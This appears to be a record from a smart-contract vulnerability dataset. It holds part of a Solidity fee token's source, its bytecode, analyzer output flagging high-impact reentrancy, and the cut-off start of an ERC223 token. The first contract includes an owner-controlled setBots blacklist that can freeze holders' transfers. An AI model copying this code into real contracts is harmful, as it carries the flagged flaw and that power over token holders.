_feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061295b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124d5565b61042a565b60405161016d9190612940565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612abd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612482565b61045c565b6040516101d59190612940565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906123e8565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612b32565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061255e565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906123e8565b610752565b6040516102a69190612abd565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612872565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b604051610313919061295b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124d5565b61095c565b6040516103509190612940565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612515565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612442565b611080565b6040516103e49190612abd565b60405180910390f35b60606040518060400160405280600a81526020017f426f7773657220496e7500000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b610525856040518060600160405280602881526020016131e760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b89092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612a1d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612a1d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161181c565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611917565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612a1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f424f5753455220494e5500000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612a1d565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612dd3565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611985565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612a1d565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a9d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612415565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190612415565b6040518363ffffffff1660e01b8152600401610dcb92919061288d565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190612415565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed3969594939291906128df565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906125b8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906128b6565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c919061258b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906129bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612abd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061297d565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612a3d565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116265750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163e5750600f60179054906101000a900460ff165b156116ee5760105481111561165257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169d57600080fd5b601e426116aa9190612bf3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116f930610752565b9050600f60159054906101000a900460ff161580156117665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177e5750600f60169054906101000a900460ff165b156117a65761178c81611985565b600047905060008111156117a4576117a34761181c565b5b505b505b6117b3838383611c0d565b505050565b6000838311158290611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7919061295b565b60405180910390fd5b506000838561180f9190612cd4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186c600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611897573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118e8600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611913573d6000803e3d6000fd5b5050565b600060085482111561195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061299d565b60405180910390fd5b6000611968611c67565b905061197d8184611c1d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119bd576119bc612ea9565b5b6040519080825280602002602001820160405280156119eb5781602001602082028036833780820191505090505b5090503081600081518110611a0357611a02612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa557600080fd5b505afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add9190612415565b81600181518110611af157611af0612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bbc959493929190612ad8565b600060405180830381600087803b158015611bd657600080fd5b505af1158015611bea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611c18838383611c92565b505050565b6000611c5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b905092915050565b6000806000611c74611ec0565b91509150611c8b8183611c1d90919063ffffffff16565b9250505090565b600080600080600080611ca487611f2b565b955095509550955095509550611d0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de38161203b565b611ded84836120f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e4a9190612abd565b60405180910390a3505050505050505050565b60008083118290611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b919061295b565b60405180910390fd5b5060008385611eb39190612c49565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611efc6b033b2e3c9fd0803ce8000000600854611c1d90919063ffffffff16565b821015611f1e576008546b033b2e3c9fd0803ce8000000935093505050611f27565b81819350935050505b9091565b6000806000806000806000806000611f488a600a54600b54612132565b9250925092506000611f58611c67565b90506000806000611f6b8e8787876121c8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b905092915050565b6000808284611fec9190612bf3565b905083811015612031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612028906129dd565b60405180910390fd5b8091505092915050565b6000612045611c67565b9050600061205c828461225190919063ffffffff16565b90506120b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61210d82600854611f9390919063ffffffff16565b60088190555061212881600954611fdd90919063ffffffff16565b6009819055505050565b60008060008061215e6064612150888a61225190919063ffffffff16565b611c1d90919063ffffffff16565b90506000612188606461217a888b61225190919063ffffffff16565b611c1d90919063ffffffff16565b905060006121b1826121a3858c611f9390919063ffffffff16565b611f9390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121e1858961225190919063ffffffff16565b905060006121f8868961225190919063ffffffff16565b9050600061220f878961225190919063ffffffff16565b905060006122388261222a8587611f9390919063ffffffff16565b611f9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561226457600090506122c6565b600082846122729190612c7a565b90508284826122819190612c49565b146122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b8906129fd565b60405180910390fd5b809150505b92915050565b60006122df6122da84612b72565b612b4d565b9050808382526020820190508285602086028201111561230257612301612edd565b5b60005b858110156123325781612318888261233c565b845260208401935060208301925050600181019050612305565b5050509392505050565b60008135905061234b816131a1565b92915050565b600081519050612360816131a1565b92915050565b600082601f83011261237b5761237a612ed8565b5b813561238b8482602086016122cc565b91505092915050565b6000813590506123a3816131b8565b92915050565b6000815190506123b8816131b8565b92915050565b6000813590506123cd816131cf565b92915050565b6000815190506123e2816131cf565b92915050565b6000602082840312156123fe576123fd612ee7565b5b600061240c8482850161233c565b91505092915050565b60006020828403121561242b5761242a612ee7565b5b600061243984828501612351565b91505092915050565b6000806040838503121561245957612458612ee7565b5b60006124678582860161233c565b92505060206124788582860161233c565b9150509250929050565b60008060006060848603121561249b5761249a612ee7565b5b60006124a98682870161233c565b93505060206124ba8682870161233c565b92505060406124cb868287016123be565b9150509250925092565b600080604083850312156124ec576124eb612ee7565b5b60006124fa8582860161233c565b925050602061250b858286016123be565b9150509250929050565b60006020828403121561252b5761252a612ee7565b5b600082013567ffffffffffffffff81111561254957612548612ee2565b5b61255584828501612366565b91505092915050565b60006020828403121561257457612573612ee7565b5b600061258284828501612394565b91505092915050565b6000602082840312156125a1576125a0612ee7565b5b60006125af848285016123a9565b91505092915050565b6000806000606084860312156125d1576125d0612ee7565b5b60006125df868287016123d3565b93505060206125f0868287016123d3565b9250506040612601868287016123d3565b9150509250925092565b60006126178383612623565b60208301905092915050565b61262c81612d08565b82525050565b61263b81612d08565b82525050565b600061264c82612bae565b6126568185612bd1565b935061266183612b9e565b8060005b83811015612692578151612679888261260b565b975061268483612bc4565b925050600181019050612665565b5085935050505092915050565b6126a881612d1a565b82525050565b6126b781612d5d565b82525050565b60006126c882612bb9565b6126d28185612be2565b93506126e2818560208601612d6f565b6126eb81612eec565b840191505092915050565b6000612703602383612be2565b915061270e82612efd565b604082019050919050565b6000612726602a83612be2565b915061273182612f4c565b604082019050919050565b6000612749602283612be2565b915061275482612f9b565b604082019050919050565b600061276c601b83612be2565b915061277782612fea565b602082019050919050565b600061278f602183612be2565b915061279a82613013565b604082019050919050565b60006127b2602083612be2565b91506127bd82613062565b602082019050919050565b60006127d5602983612be2565b91506127e08261308b565b604082019050919050565b60006127f8602583612be2565b9150612803826130da565b604082019050919050565b600061281b602483612be2565b915061282682613129565b604082019050919050565b600061283e601783612be2565b915061284982613178565b602082019050919050565b61285d81612d46565b82525050565b61286c81612d50565b82525050565b60006020820190506128876000830184612632565b92915050565b60006040820190506128a26000830185612632565b6128af6020830184612632565b9392505050565b60006040820190506128cb6000830185612632565b6128d86020830184612854565b9392505050565b600060c0820190506128f46000830189612632565b6129016020830188612854565b61290e60408301876126ae565b61291b60608301866126ae565b6129286080830185612632565b61293560a0830184612854565b979650505050505050565b6000602082019050612955600083018461269f565b92915050565b6000602082019050818103600083015261297581846126bd565b905092915050565b60006020820190508181036000830152612996816126f6565b9050919050565b600060208201905081810360008301526129b681612719565b9050919050565b600060208201905081810360008301526129d68161273c565b9050919050565b600060208201905081810360008301526129f68161275f565b9050919050565b60006020820190508181036000830152612a1681612782565b9050919050565b60006020820190508181036000830152612a36816127a5565b9050919050565b60006020820190508181036000830152612a56816127c8565b9050919050565b60006020820190508181036000830152612a76816127eb565b9050919050565b60006020820190508181036000830152612a968161280e565b9050919050565b60006020820190508181036000830152612ab681612831565b9050919050565b6000602082019050612ad26000830184612854565b92915050565b600060a082019050612aed6000830188612854565b612afa60208301876126ae565b8181036040830152612b0c8186612641565b9050612b1b6060830185612632565b612b286080830184612854565b9695505050505050565b6000602082019050612b476000830184612863565b92915050565b6000612b57612b68565b9050612b638282612da2565b919050565b6000604051905090565b600067ffffffffffffffff821115612b8d57612b8c612ea9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bfe82612d46565b9150612c0983612d46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c3e57612c3d612e1c565b5b828201905092915050565b6000612c5482612d46565b9150612c5f83612d46565b925082612c6f57612c6e612e4b565b5b828204905092915050565b6000612c8582612d46565b9150612c9083612d46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cc957612cc8612e1c565b5b828202905092915050565b6000612cdf82612d46565b9150612cea83612d46565b925082821015612cfd57612cfc612e1c565b5b828203905092915050565b6000612d1382612d26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d6882612d46565b9050919050565b60005b83811015612d8d578082015181840152602081019050612d72565b83811115612d9c576000848401525b50505050565b612dab82612eec565b810181811067ffffffffffffffff82111715612dca57612dc9612ea9565b5b80604052505050565b6000612dde82612d46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e1157612e10612e1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131aa81612d08565b81146131b557600080fd5b50565b6131c181612d1a565b81146131cc57600080fd5b50565b6131d881612d46565b81146131e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac8e7601e94ca3ef09c357011bf33764fb0a2cc9f84583a8b322d5a06dade8a564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,440
0x0781326c6569042641b4043079e7b8572c8cb5da
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC223Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transfer(address to, uint256 value, bytes data) public; event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Token is ERC223Basic { using SafeMath for uint256; mapping(address => uint256) balances; // List of user balances. /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public onlyPayloadSize(3) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn&#39;t contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2) returns(bool) { uint codeLength; bytes memory empty; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract 